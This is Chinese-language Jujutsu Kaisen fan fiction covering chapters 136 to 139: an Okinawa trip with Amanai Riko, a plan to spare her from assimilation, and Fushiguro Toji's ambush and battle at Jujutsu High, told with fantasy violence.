按照预订排程,他们会在冲绳玩到下午三点,而后前往机场,返回东京高专。 “悟,小理子,差不多到时间了哦!” 夏油杰看了眼手机,冲那边已经开始撒欢玩水的二人喊道。 天内理子正在和五条悟快乐的互相追逐打水仗——后者还试图使用海参抛击战术,被天内理子一个滑铲灵巧躲过,仍旧不小心脚滑跌倒,让海水溅了满身。 “啊……已经到时间了吗?” 听到这句提醒,五条悟一怔,下意识看向天内理子。 她并没有吵闹,甚至没有表示出任何尚未尽兴的不满;只是,当那张脸上洋溢的笑意尚未彻底散去,又在惊讶中低头,露出一点时间太过短暂的失落时——五条悟便转回目光,朝夏油杰那边开口。 “我们明天早上再回去吧。” 天内理子听到这句话的惊喜立刻反应在脸上,连望过来的眼神里都充满了期盼。 “但是……” 夏油杰还想说什么,被走过来和他们商量的五条悟慢悠悠截断。 “没事啦没事,天气很好,这两天都不会有台风的。” 羽取一真则直接投了赞成票。 “我没有意见。” 夏油杰看着这两个人——尤其是无条件宠着五条悟的羽取一真,叹了口气。 “问题不是这个。悟,你从昨天开始就没有解开术式吧?如果明天早上才回去,是打算今晚也不睡觉吗?” 羽取一真感知不到发动[无下限]术式时的咒力波动,但他可以。 而长时间维持需要精密操作的[无下限],对五条悟的大脑来说是多么大的负担,想来羽取一真也十分清楚。 更别提连续两天不睡觉,本身就足够损耗人的精神状态了。 夏油杰指出这点,就是打算让羽取一真也一起来劝劝五条悟,不要过于勉强自己。 果然,一听到五条悟竟然这样压榨自己,羽取一真立刻朝他投来了不赞成的目光。 五条悟:“………” 真是坏心眼透了,杰! 即便对方没有将话说出口,五条悟也仿佛已经听到这只黑豆柴在念叨什么。 “没问题的,别担心。” 五条悟朝羽取一真笑了下,摊开双手示意自己现在还超级精神呢。 “而且,还有你们在。”——他接着说道。 这句近似于托付信任的话能让人听得心里暖暖,但不等于真的要将所有事情都交给五条悟来做。 羽取一真想了想,提出条件:“如果悟是在担心有敌人突袭,那么今天晚上,我们轮流守夜。” 五条悟:“欸?” 羽取一真:“包括现在也是,悟需要解开术式休息,改成让杰放出咒灵,围成警戒带。” 听到后半句话的五条悟看向夏油杰——后者立刻举手表决。 “我赞成。” 二对一,五条悟只好边嘟囔着他再支撑个半天都轻轻松松啦,边在羽取一真直接伸手确认的情况下解开[无下限]术式。 虽然他口头这么抱怨,但墨镜后的那双漂亮苍瞳正微微眯起着,透出另一种格外高兴的心情。 羽取一真特意用手指搓了搓五条悟那件正红色的外套,确定有摸到布料的触感后,才放下心来。 “想玩的话就放松下来,痛快玩吧,不需要有别的顾虑。” 他对五条悟开口说道,声线沉稳而有力,是黑井美里不会使用的口吻。 “还有我在。” 还有他在。 五条悟定定看着羽取一真。 哪怕对方此刻顶着黑井美里的样貌,那双望着他的黑瞳仍旧如往日所见到的无数次那般,让五条悟知道他始终拥有着这独一份的安定感。 是只属于他的。 “——啊,确实。” 五条悟嘴角扬起一个放松的愉快笑意来,想伸手捏捏对方的脸,又反应过来眼前这位目前是[黑井美里],只好作罢。 “还有你在呢。” ……… 作为旅游业发达的冲绳岛,只花上一天是没办法将全部景点都逛遍的。 因此,他们挑了几个重要的地方——划着船欣赏两岸茂盛的热带植物庭院,从紫阳花卉的海洋中穿过,去沙滩边吃当地的特色海鲜面,观看本地民族的琉球舞表演。 在夜幕到来时,天内理子指着不远处那栋水族馆,将它定为了此次冲绳旅游的最后一站。 这是一座专门展览深海生物的水族馆,展示给游客的那侧玻璃巨幕呈现出极宽阔的长方形视野,能近距离观赏到在海面下两百米生活的深海鱼群,种类超过一百五十种。 尤其是贯穿水族馆一、二层的主水族箱[黑潮之海],光是展示窗口就高8.2米,宽22.5米,是世界上最大的鲸鲨饲养水族箱。 在这栋除指示灯以外照明都被关闭的水族馆内,唯有深海的暗蓝色是如此醒目,伴随悠然游曳的鱼群,倒映在往来游客的眼底。 天内理子穿着一件纯白的长裙,缓慢行走在这一面接一面的玻璃巨幕之间,好似连她自身也已化作水族箱里的一条游鱼。 她从来都没有自由过。 羽取一真、夏油杰和五条悟三人,站在入口处远远守望着她。 没有人说话。 ——当众人离开水族馆时,就意味着这趟旅行彻底结束,他们需要回到酒店里休息,准备明天早上赶飞机回到东京。 五条悟先用[六眼]将他们订的房间仔细搜查了一遍,确定没有蕴含诅咒气息的符咒;接着又用买来的手电筒检查再仔细排查一遍,确定房间里没有摄像头和窃听器。 他这才松了口气,转身面对羽取一真。 夏油杰去天内理子房间守着了,暂时不会回来。 “我想询问天内的意见,”五条悟开口道,“如果她不想与同化,那就不同化了。” 羽取一真怔愣片刻,完全没想到悟会选择遵从天内理子的意见——哪怕到时候要和高专、和天元对着干也在所不惜。 “但你的任务……” 五条悟摇头,“这不是送天内去同化,而是抹杀。夜蛾老师是这么说的,我也赞同。” 羽取一真静静看着他——那双始终注视他的黑瞳足以令五条悟全然放下心来,将想法全盘托出。 “倘若要我亲自送一个本身并不情愿的少女去赴死,我做不到。”五条悟开口,“所以,我要去询问天内真正的意愿。” 那双始终温柔而坚定的苍瞳,平静望进了永远会包容他的黑瞳深处。 “要和我一起来吗?” 羽取一真站起身,一如既往应道。 “当然。” 第137章 五条悟和羽取一真过来前, 夏油杰正在放出一只接一只的咒灵守着天内理子的卧室,确保不会遇到夜间突袭。 天内理子缩在被窝里,眼睛往外瞧着这一群奇形怪状的丑东西——连天花板上都趴了一只。 “……长得好难看啊, 有些咒灵。” 她两只手扯着被沿, 将它拉高到眼睛下方,小声开口。 夏油杰:“……这毕竟是咒灵。” 积累人类负面情绪而生的咒灵,还能长得有多好看?他还没吐槽咒灵球有多难吃呢。 当他终于安置完咒灵警戒线,准备坐在套房客厅的沙发上休息一会儿时,门外传来按铃声。 “怎么还不休息?” 夏油杰拉开门,困惑望着[黑井美里]和五条悟挤进来, 将门关上,然后冲他招手。 而后, 五条悟冲着夏油杰耳边叽里咕噜一通, 将他和一真的决定告诉他。 “……”夏油杰沉思片刻, “搞不好会和天元开战哦?” 五条悟:“哈, 你怕啦?” 夏油杰:“……瞧不起我?” 两个人的拌嘴几乎是在瞬间就结束了。 接着,三人商量了下——他们全部都挤到天内理子的卧室也太微妙了, 也容易给对方带来不必要的压力。 但由谁去和天内理子说这件事又是个问题,小声争执不下的五条悟和夏油杰决定猜拳定胜负。 三局两胜,夏油杰去卧室敲天内理子的门,羽取一真和鼓起脸的五条悟站在客厅等结果。 卧室内持续了很长时间的安静, 偶尔会传来突然增加的音量, 但听不太清内容。 趁这个时间,五条悟特意俯下身, 对[黑井美里]耳边轻声开口确认。 “你这个模拟,能持续到明天吗?” 他还是第一次需要俯身对矮他一个脑袋的羽取一真讲话,感觉怪新奇的。 羽取一真打开游戏技能界面, 看了眼[八相轮卡]中关于[黑井美里]卡槽的发动倒计时,点点头。 “没问题。” 五条悟想了想,又追问道。 “复数使用呢,也没问题吗?” 羽取一真“嗯”了声。 “应该没有问题,但我需要补充咒力。” 倒计时也是挂在卡槽上的,而他总共有八个卡槽……应该能同时对八个目标使用吧? 但倘若需要长时间的维持,那他的咒力量显然是不够支撑这么多次使用的。 五条悟听完羽取一真的解释,说了句“这样啊”,接着双手抱臂开始站原地沉思,也不说话了。 这份安静,直到卧室里传来一声剧烈的动静,似乎是有什么东西落在了地上。 紧接着,卧室门被猛然打开,夏油杰的“等下小理子”这句话伴随一连串的噔噔闷响,从远及近——是天内理子光脚直接跑了出来,直接扑在[黑井美里]怀里,哭得稀里哗啦。 “我想和大家待久一些,还想和大家去各种地方……我想让这一天持续的时间再长、再长一些……!” 突然被天内理子扑过来抱住,羽取一真整个人都肉眼可见的僵硬了。 五条悟的苍瞳瞬间睁得溜圆。 “嗯…嗯,” 羽取一真的手抬起又放下,最后只能干巴巴开口安抚她。 “别担心,我们都会帮忙的。” 这话一出,哭到泪眼模糊的天内理子回过神来,才想起眼前这人是羽取一真,不是她的黑井啊啊啊…!! 她刚才太过激动,一跑出来看见黑井的身影轮廓,就下意识直接扑了过来…… 怎么办哇!!! 天内理子也僵硬住了,连糊了满脸的眼泪都忘记擦——她现在是不是应该马上道歉!? 直到五条悟动手拽住天内理子的后衣领,拎猫崽似的从羽取一真的怀里拎出来,而后强硬地按在自己怀里,也拍了拍背。 这举动实在超出了预想场景,天内理子被那只手拍得一愣一愣的。 “好了,”五条悟轻哼开口。 “明明是我们都会帮忙,你怎么能只感谢一真呢?” 他又不是什么小心眼的人,干嘛突然变得小心翼翼、一副生怕他发脾气的模样嘛! 跟过来的夏油杰失笑:“那是不是还有我?” 此刻的天内理子,已是连眼睛带面颊都已经红得透透。 “……不要了哇!” ——这段小插曲过后,四人开始商议明天的计划。 哪怕他们不打算送天内理子去同化,也不能直接一个电话打给天元大人,跟对方说“喂喂天元吗,明天的星浆体不会送到你那里了哦,拜了个拜”,然后潇洒的带天内理子去随便哪个地方吧。 这么做的唯一后果就是他们三人全都变成被通缉的诅咒师,去哪里都得遮遮掩掩。 要悟去哪里都小心的隐藏身份,羽取一真第一个不答应。 但也不能说天内理子在回来路上走丢了,一听就是在撒谎,而且任务失败的后果依旧要他们承担。 “能不能想个办法,将责任转嫁给盘星教或是诅咒师……” 夏油杰仍在苦思冥想,忽然见到五条悟举手。 “我有个办法,”他开口,“就是可能,需要杰牺牲一下。” 夏油杰面露困惑:“要我牺牲什么……?” 他目光一转,看见此刻变成[黑井美里]的羽取一真,心里突然升起一种不妙的预感。 该不会,也要他…… “先听我说啦——” 得意小悟先是阐述完自己对于明日计划的设想,见大家都没有异议,便笑眯眯的握拳一敲掌心,苍瞳就这么炯炯有神的盯上了夏油杰——把后者盯得心里直发毛。 “一真的[八相轮卡]发动时,需要补充大量咒力。但是呢,现在都这么晚了,想要通过时间来自然恢复,明显是不可能做到啦。” “然而——已知,一真祓除咒灵可以获得补充咒力的结晶;又已知,杰的[咒灵操术]可以吸收咒灵为己用。” “综上可得,杰只需要拿出一部分咒灵,让一真祓除后获得咒力结晶,他就可以快速补充咒力,进而发动多次[八相轮卡]啦!” 羽取一真的眼睛越听越亮,也盯上了夏油杰。 他想起一周目自己在被坑了好几次中获得的经验,甚至还特意对夏油杰补充了一句。 “记得解除术式支配,我只有祓除无主的咒灵时,才能获得结晶。” 夏油杰则是一惊:“……!?” 原来这家伙是打起了他的宝贝咒灵的主意! 还不如让他也……等下,倒也不必为了咒灵让他自己牺牲这么大…… 万一还被悟趁机拍照留念的话,那不就变成一辈子的黑历史了吗? 思来想去,左右斟酌,夏油杰顶着一副实在是忍痛割爱的表情,开口问羽取一真。 “…你要几只?先说好,一级以上的咒灵就别想了。” 他还要保证自己的战斗力呢。 羽取一真想了想,又大致估算了下自己恢复满咒力要多少。 “嗯,先来个两百只吧。” 他眼也不眨的开口道。 夏油杰:“………” 夏油杰:“你是趁机来进货的吧?” 羽取一真无辜回望:“怎么能这么说呢,我这都是为了完成悟的计划。” 五条悟在旁边撺掇:“没错没错!杰快贡献一下啦,回头多给你抓几只回来!” 天内理子捂嘴忍笑,眼睛却又悄悄的泛起红来。 夏油杰停顿片刻。 他心痛的长叹口气,开始往外掏咒灵。 而这间套房的窗口灯光,彻夜未熄。 ………… 同化当天,下午。 “状况如何?” 伏黑甚尔边甩着手里那把的细刃长刀,边接起电话。 “确定他们入住的酒店房间一直没有关过灯?很好。” “下飞机后,那个女仆和星浆体道完别后离开了?无所谓,她的作用已经完成了,是死是活对我来说都一样。” “既然他们即将到达高专,我也该出发了。” “嗯,计划很顺利。” 伏黑甚尔的眼睛盯着不远处那沿盘山石阶整齐布置的朱红鸟居,唇角扯出一个似笑非笑的冰冷嘲弄。 纵使是天赋异禀的[六眼]+[无下限],说到底也不过是个心高气傲的少年而已。 任性、莽撞、自大、不成熟、心浮气躁,他很了解在这种顺风顺水人生里长大的青春期少年该有的通病。 尤其是以术式作为实力唯一衡量标准的咒术师。 这些特质或许明显,或许不明显,但那都无关紧要。 他们越瞧不起垃圾,就越不会想到自己有朝一日会被原先瞧不起的垃圾绊上一脚,彻底迎来失败。 长时间维持的[无下限]、不眠不休的精力、恋人立场的对立、星浆体悬赏已过期的轻松,以及最后,到达高专结界之内—— 彻底的松懈。 在鸟居的尽头,[六眼]、[星浆体]和[咒灵操术使]踏进高专结界的第一步。 伏黑甚尔轻巧的踩在石砖上,身姿灵活如猎豹的他被单薄布料勾勒的□□接近完美。 当他借着[六眼]身体所构筑的视角盲区,悍然挥刀而出时,舒展开的每一寸肌肉都呈现极具爆发力的线条,在没人能反应过来的瞬间,便让那把细长的刀刃笔直贯穿了对方的身体。 “!!!” ——松懈下来的气氛,瞬间凝固成令人错愕的震惊。 “你……” [六眼]抬手握住了那柄自他胸口穿出的刀刃,转头朝身后望去时,苍瞳同样自墨镜的缝隙中透出一抹晴空的雾蓝。 在暗处耐心静候三日终于出手,伏黑甚尔自下而上的与[六眼]小鬼对上视线,唇角露出一抹戏谑笑意,似乎打算听听他发现自己被彻底算计了的时候,会说点什么。 那把刀刃被五指握紧,拥有[六眼]的白发少年神色冷淡,继续说完了那句话。 “抓到你了。” 第138章 “……哦?” 见到[六眼]竟然并不感到他的伏击惊讶, 伏黑甚尔略挑了下眉梢,那把贯穿对方身体的刀柄微微一转,小臂肌肉发力, 反手就要让它划开这具躯体! “悟!!” 在那个[星浆体]伸手似乎想要阻止他这么做前, [咒灵操术使]先一步挥手驱使了大型蠕虫咒灵朝他攻击而来——还有将他朝后拉扯的气流,是[六眼]使出的强化吸引力·[苍]吗。 哼,反应倒是挺快啊。 伏黑甚尔果断松手朝后跃起,在躲开[苍]的同时被咒灵吞噬——但这无关紧要,能够无视一切物体的硬度进行斩击的[释魂刀]自缠绕在身的武器库咒灵的口中取出,轻而易举将那只咒灵切得粉碎。 在这摧枯拉朽般的极野蛮暴力下, 大量的体丨液与肉块飞溅,尚未彻底落地, 便已逐渐化作随风而散的细碎尘埃。 浑身沾满污秽的伏黑甚尔扛着那把[释魂刀], 将那象征神域入口的鸟居踩在脚底, 却毫不在意地笑起来。 “还以为那下就能干掉你呢。” 伏黑甚尔啧了声, 视线左右一望,“[星浆体]不在了啊, 被那个[咒灵操术使]带走了吗?” “我让他们离开的。” 身上已带着伤的[六眼]开口,那双望向他的苍瞳是更深一点的蓝,好似凝结着暗沉沉的冰。 “他们还有事要做,而我正好想单独和你谈判。” 伏黑甚尔闻言歪了下脑袋, 仿佛听到了什么不得了的玩笑话。 那头墨黑的短发明显已有许久没有打理, 在眼前散落开一小片阴影——连带他的表情也透出某种极度懒散的漫不经心,根本没将咒术界大名鼎鼎的[六眼]放在眼里。 但在那副看似散漫的神情下, 全身的肌肉都是绷紧又微松的待发力状态,随时能令他化作一道满弦出弓的利箭。 “和我有什么好谈判的,给钱让我放过星浆体?” 相比他的轻佻态度, [六眼]的表情仍旧平静。 “如果你只是想讨论钱的问题,盘星教给你多少,五条家同样可以给你。” 伏黑甚尔看着这个刚被他捅了一刀的白发少年不仅没有动怒,反而真的试图跟他讲条件。 “你给得起?”伏黑甚尔笑了,“你小子,现在只是五条家的下任家主吧。” ——不对劲。 [六眼]平淡回道:“我说给得起,就给得起。” 伏黑甚尔皱了下眉头,却并不是为白发少年的这个回答。 ——不太对劲。 [天与咒缚]所带来的极敏锐五感始终在朝他传递一个信息——站在眼前的就是[六眼]本人,是他在十数年前凑热闹去见过一面的那个小鬼。 但,内心总有一种违和感。 话说,[星浆体]现在已经快要到薨星宫内部了吧,再不动手就没时间了。 “抱歉啊,我对雇主还是有那么一点职业道德的,毕竟,随便毁约可是会损坏我这边的信誉——啊对对,说起来,” 按照预定对策,伏黑甚尔将[释魂刀]收回武器库咒灵体内,换出刃身更短、模样更古怪的另一把短刀。 “我对御三家的人也不怎么感冒啊!” 伏黑甚尔暴起突进时,转眼之间便来到[六眼]身前——以他的速度,普通人根本没有反应过来的机会! 但随即,二人交手间传来的是一声近似于金戈的闷响。 那把刺向[六眼]的短刀,被一截乌棍格挡了下来,仅凭碰撞时产生的声音,伏黑甚尔便可断定它的质地极坚硬,哪怕是木头,也无法轻易用他手中的[天逆鉾]斩断。 毕竟,[天逆鉾]的效果并不是斩断硬物。 在伏黑甚尔哑然[六眼]怎么会使用咒具之时,那根乌棍被握紧在对方掌心,裹挟着漆黑的光流,即刻朝他挥击而来! 但这动作速度实在太慢,伏黑甚尔一偏头便躲了过去,姿态极灵巧地一旋身——[天逆鉾]便在这一步之间完成左右手交换,再度以一个刁钻的角度躲开再度挥来的乌棍,反手朝[六眼]刺去—— 而这次,对方的反应并不及时。 令咒术师们引以为豪的是那与生俱来的术式,他们在长年累月中磨砺的亦是术式,哪怕能够使用咒力强化肉丨体素质,对体术的锻炼及理解,依旧过于浅薄。 遑论伏黑甚尔可是极罕见的,零咒力[天与咒缚]。 ……失策了。 羽取一真在被那柄短刃刺穿脖颈的一瞬间,脑海里浮现出这个念头。 没人想到,强到彻底压制诅咒师,使他们在这十几年间都不敢造次的五条悟,才是杀手的首要目标。 而外貌模拟成五条悟的羽取一真,首当其冲挨了一刀。 但这并非什么要紧事,他本身对受伤的痛觉无限降低,只要体力值没有降低到死亡界限,那就等同于无伤。 而他在对方开口应答的那一刹那,在【社交】界面上看见了杀手的名字。 ——伏黑甚尔。 竟然是伏黑惠的父亲? 那就不能让悟杀死他了,避免在未来和伏黑惠结下仇怨。 先按照昨晚商量的方案三,来试着跟杀手谈判如何?必要时可以抛出他认识伏黑惠的筹码。 羽取一真心念电转间,选择让正准备继续攻击的他们停手,并按照原计划前往薨星宫找天元,而他独自留下来面对伏黑甚尔。 [坚持住,我马上就回来!] 听到这句话的那刻,羽取一真还觉得拥有一级咒术师实力的他,在面对不会术式的伏黑甚尔时,应该不至于连几分钟都无法拖延。 最好的结果是谈判成功,伏黑甚尔停手,他们联合伪造天内理子的死亡,并顺势将盘星教推出去顶罪。 实在不行,就拖延到他们回来,大家一起压制伏黑甚尔。 而此刻,羽取一真发现自己在最关键的一点上实在大错特错。 ——伏黑甚尔是没有术式,但对方的攻击速度极快,力量极大,且极擅长近距离的体术格斗! 即使是他在游戏辅助下展开的防御与反击,竟然也跟不上对方那极灵活且迅猛的速度! [黑闪]直接落空,二度发起的[术式顺转·裂]同样再度落空。 切换双刃形态需要短暂的时间,羽取一真根本没有使用出来的机会。 甚至,他感觉伏黑甚尔对御三家……似乎有一种相当排斥的厌弃感与敌意。 羽取一真觉得自己应该使用本来的样貌,不,应该在一开始谈判就抛出真正的筹码……然而此刻,说什么都迟了。 一步的失算,使他在单对单的战斗中完全落于下风,并遭受了致命创伤。 满格的体力值瞬间掉了一截,并在那把短刃自喉咙至胸腔、将上半身切开一道长而深的创伤之时,以极快的速度暴跌至警戒线之下。 一周目经历过的熟悉眩晕感,再度袭来。 羽取一真张了张口,但这游戏太过真实——气管被割开的他已然失去了说话的能力,仅能在短暂的挣扎过后,脱力的朝后仰倒。 悟…… 他摔在尚且温热的血泊里。 视野内的天空,仍旧湛蓝。 已经濒临死亡线的体力值,还在缓慢下降。 ——在伏黑甚尔的视角里,被他多次补刀、必死无疑的[六眼],仍旧是白发少年的那副模样,没有任何变化。 是他多心了吗……? 不过,他一开始确实也有感觉自己受到了[苍]的攻击。 嗯……算了,毕竟是心高气傲、又被严重削弱了精力的小鬼,在拥有强制解除发动中术式的[天逆鉾]面前,再无死角防御的[无下限]也不过是薄纸一张。 更别提这帮高高在上的家系术师总是轻慢而自傲,看他的目光与看猴子、或是看一袋垃圾无异。 “状态,稍微恢复了点啊。” 伏黑甚尔活动了下身体,按照残留的足迹与气味,一路朝薨星宫追踪而去。 ……… 急促的脚步声,回荡在通往薨星宫本殿的拱道里。 “快点,” [天内理子]跑得极为匆忙,边招呼落后一个身位的夏油杰也加快点速度。 “我总有不好的预感,等我们和天元大人说完后,赶紧出去找一真!” 夏油杰下意识想要召唤飞行类咒灵驮着他们飞,但想一想这里毕竟是天元大人所在的薨星宫本殿,还是忍住了。 “是说一真会输吗?” “不,是说刚才那个杀手,身上没有丝毫咒力。” [天内理子]的面色凝重,“我刚才就一直在想哪里不对劲,原来是这么回事。” 这只能令他想起一个人——零咒力的[天与咒缚],禅院甚尔! 也就是惠的爸爸。 难怪一真刚才让看他受伤瞬间就气炸了的他不要出手,原来是这么回事! 但一真又是怎么发现对方身份的? 这个念头在五条悟的脑海里一闪而逝,却暂时没有空细究了。 他只需要进入薨星宫,在拥有监控结界的高专这边制造[天内理子]已经被送到薨星宫的假象,再向天元大人摊牌,就可以立刻返回地面,去支援一真了! 天元大人不同意也没办法,真正的天内——真正的[星浆体],已经在他们下飞机的那刻,就以黑井美里的样貌离开了东京! 五条悟的思维飞速运转,却在下一步踏出之时,迅速并拢二指。 是枪声。 ——那颗在出膛后朝他急射而来的子丨弹,骤然停在太阳穴附近,越来越慢,却永远停在咫尺之隔。 “………” 那双偏青绿的眼瞳此刻冷冽至极,缓慢转动着,朝伏黑甚尔望去。 “你为什么会在这里?” [天内理子]开口,却迎来了对方的一声嗤笑,连那把手丨枪也被随意丢弃在一旁,在冰冷石砖上滑出巨大的声响。 “哦,原来是这么回事啊。” 伏黑甚尔抓了抓头发,面对能发动术式挡下他一枪的[星浆体],露出一个了然的神情。 “这是那个小鬼的术式?伪装的道具?” 那个[五条悟]不仅会使用咒具、始终也没有再发动术式的缘由,终于理解了。 “是谁来着,羽取一真?”伏黑甚尔拍了下脑袋,“不好意思啊,我不擅长记住男人的名字。” “我在问你话。” [天内理子]——不,五条悟,再开口的声线被压得低沉,带着极恐怖的怒意。 “哎呀,好可怕的表情。你想问他怎么样了是吗?” 伏黑甚尔自腹中呕出缩成团的武器库咒灵,让它好似缠绕着枝干的毛毛虫般,趴伏在自己的上半身。 而它的口中,正储藏着那些能置人于死地的咒具。 “已经被我杀了。” ——话音未落,猛烈的罡风已凭空而起,不仅摧毁了伏黑甚尔脚下的石砖,连带掀飞了身后一大片的古建筑群。 “杀了你。” [天内理子]再抬起手时,那层模拟的外貌已逐渐褪去,显露出五条悟本身的模样。 而这一迹象,更有力地佐证了伏黑甚尔所说的——[羽取一真已死]。 “可以的话还真不想和你打啊,毕竟[星浆体]又不在这里,真是白干活了。” 伏黑甚尔飞快穿梭在呈环形层层交叠的古建筑群里,边让缠绕在身上的咒灵张嘴,释放出大量储藏在其腹中的蝇头。 那个咒灵操术使应该是真货,他被对方驱使的咒灵袭击过,此刻的模样也没有变回来。 啧…也就是说,下飞机的那个女仆才是真正的星浆体吧。 躯体蜿蜒的龙型咒灵朝他张开巨口冲来,气势悚人——但伏黑甚尔压根不在意这种乌合之众,[噬魂刀]倒提在手中,近乎是轻而易举便将它剖为两半。 那可是他硬度最强的虹龙啊! 夏油杰错愕之间,无数只最低阶的蝇头已散布在这间薨星宫的本殿之中,既干扰他们的咒力感知,也构筑出对应的无数视线死角。 甚至,将他和五条悟也隔绝了开来。 “话说回来啊,” 在这阵密集翅膀扇动的强烈嗡鸣声中,以高速奔跃在建筑群之间的伏黑甚尔,再度开口说道。 “你想看看那小子的尸体吗?我可以带你过去喔。” 当羽取一真身份被暴露,却仍旧出现在高专的这一刻,伏黑甚尔敏锐察觉到了他对五条悟的重要性。 ——身份的对立无法使五条悟失去理智,其中一人的死亡却可以。 “等下,悟……!” 夏油杰立刻想要出声劝阻,却已经晚了! 超过平时最高功率输出的[苍],几乎如同天灾级别的飓风,瞬间碾碎了小半个薨星宫本殿! 但越强烈的咒力输出,越意味着术师需要集中精神、全神贯注的操控—— 被锁链不断延伸攻击范围的[天逆鉾],自死角骤然发起突袭。 这迅疾而利落的一刀裹挟着类似音爆的声响而来,不仅划开了[无下限]术式,也使五条悟的身前绽开一大片血花。 在那双苍瞳睁大、夏油杰驱使的咒灵尚未赶到的须臾间隙里,伏黑甚尔旋身带动锁链在空中划出弧度,在垫步前冲的同时探手抓住那把[天逆鉾]的刀柄,再度贯穿了[六眼]的心脏。 那双在暴走下仍澄澈如晴空苍穹的雾蓝瞳孔,缓慢睁大了。 ……… 与此同时,倒在高专入口处的羽取一真,本该僵硬的指尖微微抽动了一下。 【当前隐藏委托:教祖大人的指示,已完成。】 【奖励:解锁技能[反转术式]。】 【请注意,当玩家体力值降低至警戒线、咒力值足够且脱离战斗后,将会默认触发使用[反转术式]。】 ——早已见底,却不知为何没有被宣告死亡的体力值,在此刻,开始缓慢回升。 ……… “呵。” 见心理战术成功,伏黑甚尔仅是低声一笑便迅速后撤,离开夏油杰所驱使的咒灵的攻击范围。 驱使咒灵攻击?再多的咒灵,也不过是乌合之众。 用零咒力[天与咒缚]换来的反应速度与身体素质,远在术师本人之上。 当夏油杰也身受重伤,昏迷在废墟似的砖瓦里时,伏黑甚尔用脚将他的脸踩向另一边,目光落在这座地下宫殿的穹顶处。 “如果是式神使就杀了你,但咒灵操术的话,还不知道你死后那些咒灵会怎样,所以就饶你一命……这种伤对于术师来说是死不掉的吧。” “真是托了父母的恩惠啊。” 至于另一具血泊里的[六眼]尸体,同样得不到他的半分视线。 “即使受了恩惠又如何,依旧会败给我这种连咒术都无法使用的猴子。” 说到这里,伏黑甚尔叹出口气,又用拇指揉了揉太阳穴,若有所思道。 “说起恩惠……好像是我取的名字来着。” “但[星浆体]可就麻烦了啊,会回自己公寓的概率基本没有,去哪里找是个问题……嗯,算了,反正超过时间不能同化,我也能收到一笔报酬就是了。” 由于零咒力的他无法感知术师身上的咒力,自然也无法分辨术式在使用时的咒力流动——竟然在这点上被摆了一道,盘星教那小子还挺行的。 距离天黑还有点时间,伏黑甚尔索性在这堆废墟里挑了块石头坐下,等同化开始的时间彻底过去再离开。 反正零咒力的他无论是穿过高专的结界,抑或是薨星宫的结界,都不会引起任何人的注意,就跟他屁股底下的这块石头没有任何差别。 外面那具盘星教小鬼的尸体被发现了也无所谓,薨星宫和忌库是隐蔽结界,不仅入口不会派人看守,超过千扇的门中,只有天元才知道哪扇是正确进入此处的门。 话说,他都闹这么大动静了,那个天元倒是一点反应也没有啊。 ——伏黑甚尔百无聊赖等了片刻,算算太阳也差不多快要下山了,便起身准备离开薨星宫。 “怎么,这就要走了?” 一道略低哑的声音,冷冰冰地响起自他的身后。 伏黑甚尔的脚步一顿。 他错愕转头时,正看见纯黑制服敞开、白衬衫染上斑驳血痕的五条悟站在原处,抬起的目光如野兽利齿般紧咬住他,神情森冷。 “我允许你走了吗。” 第139章 原本已经倒在血泊中的五条悟, 此刻重新站了起来,有点踉跄,精神却显得极为昂扬。 那双苍瞳仍旧大睁着, 内里蕴藏的疯狂情绪却令唇角却逐渐上扬——好似刚被拔骨抽髓, 却又再度自炼狱深处爬出。 “……反转术式吗!!” 伏黑甚尔瞬间明悟过来发生了什么。 原本在情报里强调不会反转术式的[六眼],在这一刻突破了自身的极限! 而站在伏黑甚尔面前的,同样并非是昔日那活泼的、灵动的、一举一动皆意气风发的五条悟。 那份沸腾的怒意早已充斥满胸膛,如同烈火、如同滚油,如同被炙烤至风化的大地,每一颗砂砾皆被扬起, 拥簇着他在这遮天蔽日的沙尘里孤身彷徨,直到他挥起手, 想要毁灭什么—— 想要毁灭一切。 “答对了, ” 五条悟抬手, 并拢的指尖凝聚咒力, 对准眼前这个男人。 “奖励……不,回敬是这个。” 当反转术式生成的正面能量被注入[无下限]术式之中时, 明亮的赤红色被迅速汇聚于指尖,好似一点自极暗深处泛起的亮光。 第一次成功了,[赫]。 随即,这点光在转瞬之间便朝伏黑甚尔急射而去, 化作一道半径逐渐增宽的笔直光束——却拥有着毁天灭地般的恐怖斥力。 即使伏黑甚尔及时用[天逆鉾]侧在身前格挡, 亦足以使他被这股无法抵消的冲击打飞出去,贯穿好几栋建筑。 待烟尘散去, 倒在废墟里的伏黑甚尔才发觉,自己直接被这一击打到位置更高些的石壁上。 而不远处的五条悟苍瞳微合,双手张开着, 好似在拥抱这个世界。 此刻,体内的咒力奔涌如失控的海啸,过量灌注在[无下限]术式里的效果使他半浮半飘在空中,苍瞳倒映着那深深扎于薨星宫地底的虬结根系。 它盘桓在这间薨星宫本殿之内,散开的枝叶一直顶上了那片石制的穹顶,宛若神话里的世界树根基。 此处是高专之下的地底,照明的东西是电灯、是烛火,是一切人造的产物,却唯独没有光。 ——这可不行啊。 五条悟的心底,冒出了这个念头。 伏黑甚尔已自废墟中站起身,将[万里锁链]重新扣在[天逆鉾]上,将它当作一种流星锤似的长距离冷兵器来使用。 如果没有能破除[无下限]的[天逆鉾],单凭体术的他是无法杀了五条悟的。 没错——再杀一次五条悟就好了。 他要否定他,连带扳倒这个否定了自己存在的咒术界。 这是属于伏黑甚尔的自尊心在作祟,是一样早已被抛弃的、微不足道的无价值之物。 却在此刻涌动于他内心,令他做出了一个真正错误的决定。 伏黑甚尔瞬间发力暴起,在冲向五条悟的同时甩出[天逆鉾]——在这一刻,后者却仅是屈起二指,盯着他的那双苍瞳无悲无喜,亦如人类仰头眺望天穹。 抱歉了,惠。 “[茈]。” 假想中的正无穷与负无穷产生碰撞、交融、湮灭,瞬间爆发的无穷质量超越空间所能承受的极限,在被弹指推出去的瞬间,便以摧枯拉朽般的恐怖破坏力,笔直洞穿了其运动路径上的一切物体。 斜上方的薨星宫穹顶被当场切割出一个正圆的洞——再等了几秒后,周围失去支撑力的石砖与土块才纷纷下落,令这一束射入的太阳光线愈来愈大,直至照在漂浮于空中的五条悟身上。 啊啊,夕阳原来是金红色的吗。 五条悟望着那一小块刺眼的晚霞,好似在凝望着自己的新世界。 “天上天下……惟我独尊。” 一手指天,一手指地,他喃喃念出释迦牟尼在降生之时,所咏唱出的偈语。 何期自性,本自清净;何期自性,本不生灭,何期自性,本自具足;何期自性,本无动摇;何期自性,能生万法。 伏黑甚尔在那一瞬间试图收回[天逆鉾]防御的动作并没有效果,半个身躯被切割出一个利落的空洞,仅剩血液在缓慢下落,填补空缺。 